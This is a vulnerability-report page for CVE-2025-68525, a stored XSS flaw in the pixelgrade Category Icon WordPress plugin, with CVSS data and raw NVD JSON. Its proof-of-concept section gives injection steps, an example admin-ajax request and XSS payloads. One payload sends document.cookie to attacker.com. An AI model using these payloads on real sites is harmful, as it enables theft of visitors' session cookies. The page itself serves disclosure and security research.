Security Vulnerability Report
中文
CVE-2025-68525 CVSS 5.9 MEDIUM

CVE-2025-68525

Published: 2025-12-24 13:16:22
Last Modified: 2026-04-27 19:16:28

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pixelgrade Category Icon category-icon allows Stored XSS.This issue affects Category Icon: from n/a through <= 1.0.2.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Category Icon <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// WordPress Category Icon Plugin XSS PoC // Target: category-icon <= 1.0.2 // Attack Type: Stored XSS // Step 1: Authenticate as admin and navigate to Category Icon settings // Step 2: Intercept the request when saving category icon settings // Step 3: Inject XSS payload in the icon name field: // XSS Payload Example: var xssPayload = '<img src=x onerror="alert(document.cookie)">'; var xssPayload2 = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 4: When any user visits a page displaying the category with the malicious icon, // the XSS payload will be executed in their browser context. // Note: This PoC requires admin privileges to inject the payload. // The malicious code persists in the database until manually removed. // Example HTTP POST Request: /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=category_icon_save&category_id=1&icon_name=<img src=x onerror=alert(document.domain)>& */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68525", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:21.997", "lastModified": "2026-04-27T19:16:28.027", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pixelgrade Category Icon category-icon allows Stored XSS.This issue affects Category Icon: from n/a through <= 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/category-icon/vulnerability/wordpress-category-icon-plugin-1-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}